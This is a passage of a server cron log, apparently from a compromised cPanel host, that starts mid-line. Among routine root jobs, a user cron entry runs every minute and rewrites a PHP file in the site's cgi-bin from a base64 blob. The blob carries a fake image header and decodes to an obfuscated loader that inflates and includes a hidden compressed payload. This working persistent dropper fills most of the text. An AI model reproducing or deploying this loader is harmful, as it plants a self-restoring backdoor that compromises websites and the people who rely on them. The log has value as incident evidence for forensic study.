&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:59:01 server CROND[10019]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:00:01 server CROND[10890]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 13 10:00:01 server CROND[10891]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:00:01 server CROND[10895]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 10:00:01 server CROND[10896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:00:01 server CROND[10894]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 10:01:01 server CROND[11800]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 10:01:01 server CROND[11801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:01:01 server run-parts(/etc/cron.hourly)[11800]: starting 0anacron
Nov 13 10:01:01 server run-parts(/etc/cron.hourly)[11813]: finished 0anacron
Nov 13 10:02:01 server CROND[12762]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:03:01 server CROND[13617]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:04:01 server CROND[14477]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:05:01 server CROND[15236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:05:01 server CROND[15237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:05:01 server CROND[15235]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 10:05:01 server CROND[15238]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 10:06:01 server CROND[15639]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:07:01 server CROND[16376]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:08:01 server CROND[16851]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:09:01 server CROND[17378]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 10:09:01 server CROND[17379]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:10:01 server CROND[17950]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 10:10:01 server CROND[17951]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 10:10:01 server CROND[17949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:10:01 server CROND[17953]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
